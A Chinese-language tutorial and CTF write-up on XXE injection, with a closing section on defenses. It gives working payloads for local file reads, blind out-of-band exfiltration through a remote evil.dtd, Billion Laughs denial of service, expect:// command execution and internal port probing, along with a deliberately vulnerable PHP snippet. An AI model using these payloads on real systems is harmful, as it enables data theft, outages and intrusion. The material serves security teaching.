XXE(XML External Entity attack)XML外部实体注入攻击

导语

　　XXE：XML External Entity 即外部实体，从安全角度理解成XML External Entity attack 外部实体注入攻击。由于程序在解析输入的XML数据时，解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml_load 默认情况下会解析外部实体，有XXE漏洞的标志性函数为simplexml_load_string（）。

　　尽管XXE漏洞已经存在了很多年，但是它从来没有获得它应有的关注度。很多XML的解析器默认是含有XXE漏洞的，这意味着开发人员有责任确保这些程序不受此漏洞的影响。比如今年7月刚爆出的微信支付XXE漏洞案例。

　　libxml2.9.1及以后，默认不解析外部实体。可以在此了解libxml各版本具体改动情况。本次测试在Window下使用的php5.4.45(libxml Version 2.7.8)。Linux中需要将libxml低于libxml2.9.1的版本编译到PHP中，可以使用phpinfo()查看libxml的版本信息。当XML声明中standalone值是yes的时候表示DTD仅用于验证文档结构，外部实体将被禁用。但它的默认值是no，而且有些parser会直接忽略这一项。

XML外部实体

　　本文主要讲外部实体注入攻击，所以基本的XML语法就不过多的描述。主要看一下DTD-实体。

　　首先让我们了解一下基本的PAYLOAD结构：
XXE(XML External Entity attack)XML外部实体注入攻击
　　DTD：Document Type Definition 即文档类型定义，用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明)，也可以独立的放在另外一个单独的文件中(外部引用)。

实体分为一般实体和参数实体

　　1. 一般实体的声明：<!ENTITY 实体名称 "实体内容">

　　　引用一般实体的方法：&实体名称;

　　p.s.经实验，普通实体可以在DTD中引用，可以在XML中引用，可以在声明前引用，还可以在实体声明内部引用。

　　2. 参数实体的声明：<!ENTITY % 实体名称 "实体内容">

　　　引用参数实体的方法：%实体名称;

　　p.s.经实验，参数实体只能在DTD中引用，不能在声明前引用，也不能在实体声明内部引用。

　　如果实体名称中出现如<的特殊字符，解析就会失败。为了避免这种情况，XML用实体引用替换特殊字符。XML预定义了五个实体引用，即用<、 >、 &、 &apos、 "替换<、>、&、'、"。

DTD实体声明（重点）

　　1. 内部实体声明

　　<!ENTITY 实体名称 "实体的值">

　　当引用一般实体时，由三部分构成：&、实体名、；，当是用参数传入xml的时候，&需URL编码，不然&会被认为是参数间的连接符号。

　　示例：

    <?xml version = "1.0" encoding = "utf-8"?>

    <!DOCTYPE test [

    <!ENTITY writer "Dawn">

    <!ENTITY copyright "Copyright W3School.com.cn">

    ]>

    <test>&writer;©right;</test>

　　2. 外部实体声明

　　<!ENTITY 实体名称 SYSTEM "URI/URL">

　　外部实体可支持http、file等协议。不同程序支持的协议不同，如下图：
XXE(XML External Entity attack)XML外部实体注入攻击
　　其中PHP支持的协议会更多一些，但是需要一定的扩展支持：

　　示例：

    <?xml version = "1.0" encoding = "utf-8"?>

    <!DOCTYPE test [

    <!ENTITY file SYSTEM "file:///etc/passwd">

    <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">

    ]>

    <author>&file;©right;</author>

XXE的攻击与危害

　　当我们了解清楚以上的信息后，我们就能理解如何构造外部实体注入攻击与它的危害性了。

如何构造外部实体注入攻击

　　一般xxe利用分为两大场景：有回显和无回显。有回显的情况可以直接在页面中看到payload的执行结果或现象，无回显的情况又称为blind xxe，可以使用外带数据通道提取数据。

　　有回显的payload写法：

直接通过DTD外部实体声明。XML内容如下：

        <?xml version="1.0"?>

        <!DOCTYPE ANY [

                <!ENTITY test SYSTEM "file:///etc/passwd">

        ]>

        <abc>&test;</abc>

通过DTD文档引入外部DTD文档，再引入外部实体声明。XML内容如下：

        <?xml version="1.0"?>

        <!DOCTYPE a SYSTEM "http://localhost/evil.dtd">

        <abc>&b;</abc>

evil.dtd内容：

        <!ENTITY b SYSTEM "file:///etc/passwd">

通过DTD外部实体声明引入外部实体声明。XML内容如下:

        <?xml version="1.0"?>

        <!DOCTYPE a [

                <!ENTITY % d SYSTEM "http://localhost/evil.dtd">

        %d;

        ]>

        <abc>&b;</abc>

evil.dtd内容：

        <!ENTITY b SYSTEM "file:///etc/passwd">

但是如果想通过如下声明是不可以的：

        <?xml version="1.0"?>

        <!DOCTYPE a [

        <!ENTITY d SYSTEM "http://localhost/evil.xml">

        ]>

        <abc>&d;</abc>

测试发现这种实体调用外部实体，发现evil.xml中不能定义实体，否则解析不了，参数实体就好用很多。

　　无回显的payload写法：

第一种无回显示payload写法：

        <?xml version="1.0"?>

        <!DOCTYPE a [

        <!ENTITY % file SYSTEM "file:///c://test/1.txt">

        <!ENTITY % dtd SYSTEM "http://localhost/evil.xml">

        %dtd; %all;

        ]>

        <abc>&send;</abc>

其中evil.xml文件内容为

         <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost%file;'>">

调用过程为：参数实体dtd调用外部实体evil.xml，然后又调用参数实体all，接着调用实体send。

第二种无回显payload写法：

        <?xml version="1.0"?>

        <!DOCTYPE a [

        <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt">

        <!ENTITY % dtd SYSTEM "http://localhost/evil.xml">

        %dtd;

        %send;

        ]>

        <abc></abc>

其中evil.xml文件内容为：

        <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost/?content=%file;'>"> %payload;

调用过程和第一种方法类似，但最里层的嵌套里%要进行实体编码成%。无报错需要访问接受数据的服务器中的日志信息，可以看到经过base64编码过的数据，解码后便可以得到数据。

　　这里注意参数实体引用%file;必须放在外部文件里，因为根据这条规则。在内部DTD里，参数实体引用只能和元素同级而不能直接出现在元素声明内部，否则解析器会报错： PEReferences forbidden in internal subset。这里的 internal subset指的是中括号[]内部的一系列元素声明，PEReferences 指的应该是参数实体引用 Parameter-Entity Reference 。

　　一般都使用第二种方法，因为当文件中含有中文字符或<字符，会导致不能解析。

XXE带来的危害

　　利用xxe漏洞可以进行文件读取，拒绝服务攻击，命令(代码)执行，SQL(XSS)注入，内外扫描端口，入侵内网站点等。内网探测和入侵是利用xxe中支持的协议进行内网主机和端口发现，可以理解是使用xxe进行SSRF的利用，基本上啥都能做。

　　首先准备一个有XXE漏洞的文件，本次测试以php为主：

    <?php

    $xml = simplexml_load_string($_REQUEST['xml']);

    echo "<pre>" ;

    print_r($xml);//注释掉该语句即为无回显的情况

    ?>

危害1.读取任意文件

有回显情况:

    <?xml version="1.0"?>

    <!DOCTYPE ANY [

    <!ENTITY test SYSTEM "file:///E://phpStudy/PHPTutorial/WWW/etc/passwd.txt">

    ]>

    <abc>&test;</abc>

XXE(XML External Entity attack)XML外部实体注入攻击

无回显情况:

　　本次测试用的phpStudy，需开启apache日志记录并重启服务。当无回显情况时，可以讲数据发送到远程服务器。

    <?xml version="1.0"?>

    <!DOCTYPE a [

    <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=E://phpStudy/PHPTutorial/WWW/etc/passwd.txt">

    <!ENTITY % dtd SYSTEM "http://localhost/evil.xml">

    %dtd;

    %send;

    ]>

    <abc></abc>

远程服务器部署evil.xml内容为:

    <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost/?content=%file;'>"> %payload;

XXE(XML External Entity attack)XML外部实体注入攻击

YWRtaW46OnBhc3N3b3JkIQ0KdGVzdDo6cGFzc3dkIQ==Base64解码即可。

　　通过此方法可以读取/etc/passwd，有些XML解析库支持列目录，攻击者通过列目录、读文件、获取帐号密码后进一步攻击。如读取tomcat-users.xml得到帐号密码后登录tomcat的manager部署webshell。

危害2.拒绝服务攻击

    <?xml version="1.0"?>

    <!DOCTYPE lolz [

    <!ENTITY lol "lol">

    <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">

    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">

    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">

    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">

    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">

    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">

    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">

    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">

    ]>

    <lolz>&lol9;</lolz>

　　此示例就是著名的Billion laughs attack该攻击是通过创建一项递归的 XML 定义，在内存中生成十亿个"Ha！"字符串，从而导致 DoS 攻击。

　　原理：构造恶意的XML实体文件耗尽可用内存，因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中，解析非常慢，造成了拒绝服务器攻击。

危害3.远程命令(代码)执行

    <?xml version="1.0"?>

    <!DOCTYPE ANY [

    <!ENTITY test SYSTEM "expect://id">

    ]>

    <abc>&test;</abc>

　　此示例是在安装expect扩展的PHP环境里执行系统命令，其他协议也有可能有此漏洞。

危害4.内网信息探测

　　利用http协议http://url/file.ext，替换标准poc中相应部分即可,这种情况比较不稳定，根据不同xml解析器会得到不同的回显报错结果。

有回显情况：

    <?xml version="1.0"?>

    <!DOCTYPE ANY [

    <!ENTITY test SYSTEM "http://127.0.0.1:87/tets.txt">

    ]>

    <abc>&test;</abc>

　　当端口开放时，如80端口：
XXE(XML External Entity attack)XML外部实体注入攻击

　　当端口未开放时，如81端口:
XXE(XML External Entity attack)XML外部实体注入攻击

无回显情况：

    <?xml version="1.0"?>

    <!DOCTYPE a [

    <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=http://127.0.0.1:81/">

    <!ENTITY % dtd SYSTEM "http://localhost/evil.xml">

    %dtd;

    %send;

    ]>

    <abc></abc>

远程服务器部署evil.xml内容为:

    <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost/?content=%file;'>"> %payload;

　　观察日志文件即可。

　　当端口开放时，如80端口:
XXE(XML External Entity attack)XML外部实体注入攻击

　　当端口未开放时，如81端口:
XXE(XML External Entity attack)XML外部实体注入攻击

　　有的无回显的情况还可以通过抓包看响应头返回的状态码，返回的报错信息等判断。

危害5.攻击内网网站

难得搭建环境，就直接引用网上的例子吧：

XXE(XML External Entity attack)XML外部实体注入攻击

这个示例是攻击内网strusts2网站，远程执行系统命令。

还可部署bash文件建立监听，获得反弹shellcode等。

由于xml实体注入攻击可以利用http://协议，也就是可以发起http请求。可以利用该请求去探查内网，进行SSRF攻击。

CTF题目

　　本人是个CTFer，所以再结合两道CTF题目，更加深入理解此攻击。

JarvisOJ——api调用

请设法获得目标机器/home/ctf/flag.txt中的flag值。

题目入口：http://web.jarvisoj.com:9882/

先查看源码：
XXE(XML External Entity attack)XML外部实体注入攻击
再看响应:

　　开始以为是考反序列化，但根据提示和结果发现不是。这个页面仅仅是向后台发送请求，后台再响应返回几个特定的字符串，修改请求值，发现返回与前台的输入没多大关系。最后，知道是XXE。

　　这道题目，默认的是json格式传递，因此首先我们更改Content-Type的值为application/xml，然后传入xml代码：

    <?xml version=”1.0″?>

    <!DOCTYPE a[

    <!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt">]>

    <abc>&xxe;</abc>

XXE(XML External Entity attack)XML外部实体注入攻击

DDCTF——喝杯Java冷静下

http://116.85.48.104:5036/gd5Jq3XoKvGKqu5tIH2p/

提示：第二层关卡应用版本号为2.3.1

此题目有点难，由于技术不到位，有的地方不是很清楚就不误导读者了。

直接看看大佬的姿势吧：

DDCTF2018 WEB6 喝杯Java冷静下 WRITEUP —— LZ1Y

DDCTF 2018 Web Writeup —— 白帽100安全攻防实验室

真实案例

微信支付XXE漏洞再提一次刚爆出的微信XXE漏洞，还可以欣赏一篇对此漏洞的修复文章。

在线文件预览引起的问题，修改docx文件的word/document.xml，添加DTD和实体引用，即可触发，可据此生成恶意的Word文档。

1. [WooYun-2014-73321（网易邮箱某处XXE可读取文件）](http://www.anquan.us/static/bugs/wooyun-2014-073321.html)

2. [WooYun-2014-73439（QQ邮箱XXE可读取任意文件）](http://www.anquan.us/static/bugs/wooyun-2014-073439.html)

直接处理POST XML数据。许多都是直接 simplexml_load_string() 处理POST进来的数据。可控字符串出现在XML文件里就要引起注意。
```
1. [WooYun-2015-109725（中通某处XXE漏洞可读取服务器任意文件）](http://www.anquan.us/static/bugs/wooyun-2015-0109725.html)
```
XML处理工具
1. WooYun-2014-59911（从开源中国的某XXE漏洞到主站shell）格式化XML。
2. WooYun-2015-134057（百度某平台Blind XXE漏洞&可Bool型SSRF攻击）XML检查工具。
3. WooYun-2015-135397（搜狗某平台Blind XXE漏洞(读取文件/SSRF/Struts2命令执行)XML检查工具。
WooYun-2014-58381（百度某功能XML实体注入）该功能点提供svg转jpg服务，通过构造特殊svg文件注入。
WooYun-2014-59783（百度某功能XML实体注入（二））在第一次修复后只过滤了ENTITY这个词，DTD 本身就支持调用外部的DTD文件，因此我们只需要在svg里加一个外部的DTD就绕过了。
WooYun-2014-74069（鲜果网RSS导入Blind XXE漏洞）导入OPML文件。
WooYun-2015-111828（博客园某处XXE可下载任意文件）博客搬家功能，导入XML。
WooYun-2015-117316（用友人力资源管理软件全版本XXE漏洞）登陆与重置密码时使用XML传输数据。
WooYun-2015-148793（AOL Website XML External Entity(XXE) Vulnerability）xmlrpc service。
WooYun-2015-156208（国际php框架slim架构上存在XXE漏洞（XXE的典型存在形式））服务端根据请求的 content-type 来区别对待提交的数据。application/x-www-form-urlencoded 、application/json 、application/xml 被用不同的方式解析。XML直接调用 simplexml_load_string 处理导致漏洞。有趣的是旧版本对该问题做了防范，新版本去除了相关代码，可能是觉得新版本对PHP版本需求在5.5以上。实际上PHP是否解析外部实体与本身版本无关，与编译时libxml库版本有关。
WooYun-2016-168457（唯品会存在Blind XXE 漏洞）。作者说关于XXE，觉得漏洞本身没太多的玩点，比较有意思主要在于：不同语言处理URI的多元化和不同XML解析器在解析XML的一些特性。 xfire是流行的webservice开发组件，其在invoke时使用了STAX解析XML导致XML实体注入发生。乌云上一大波XXE洞都是这个，详细说明见 WooYun-2016-166751(Xfire文件读取漏洞)。
WooYun-2014-59911（从开源中国的某XXE漏洞到主站shell）XXE读取到脚本文件/home/run/ssh_go.sh，内含SSH登陆密码。
Revisting XXE and abusing protocols 【XXE+expect模块=>Facbook RCE】
XXE on Windows system …then what ?? 【XXE+SMB=>内网RCE】
Apache Solr XXE漏洞分析【CVE-2018-8026】

XXE自动化工具

　　XXEinjector：一款功能强大的自动化XXE注射工具。

　　本文就不具体演示、讲述此工具了。推荐一篇文章，详细的讲述了其使用方法，最后还附了XXEinjector工具的下载。

寻找XXE

检测xml是否被解析

　　尝试注入特殊字符，使XML失效，引发解析异常，明确后端使用XML传输数据。

单双引号 ' " ：XML的属性值必须用引号包裹，而数据可能进入标签的属性值。
尖括号< > ：XML的开始/结束标签用尖括号包裹，数据中出现尖括号会引发异常。
注释符作注释。
& ：& 用于引用实体。
CDATA 分隔符]]> ：<![CDATA[foo]]>中的内容不被解析器解析，提前闭合引发异常。

检测是否支持外部实体解析

　　尝试利用实体和DTD。

引用外部DTD文件访问内网主机/端口：<!DOCTYPE a SYSTEM "http://127.0.0.1:2333">（看响应时间）
引用外部DTD文件访问外网：<!DOCTYPE a SYSTEM "http://vps_ip" >
引用内部实体：<!DOCTYPE a [<!ENTITY xxe "findneo">]><a>&xxe;</a>
外部实体读本地文件：<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///etc/hosts">]><a>&xxe;</a>
外部实体访问内网主机/端口：<!DOCTYPE a SYSTEM "http://192.168.1.2:80">（看响应时间）
外部实体访问外网：<!DOCTYPE a [<!ENTITY xxe SYSTEM "http://vps_ip">]><a>&xxe;</a>
判断问题存在可以OOB提取数据。

XXE的防御

使用开发语言提供的禁用外部实体的方法

　　PHP

　　libxml_disable_entity_loader(true);

　　JAVA

　　 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

　　 dbf.setExpandEntityReferences(false);

　　Python

　　from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

过滤用户提交的XML数据

　　过滤关键词：<!DOCTYPE和<!ENTITY，或者SYSTEM和PUBLIC。

参考资料

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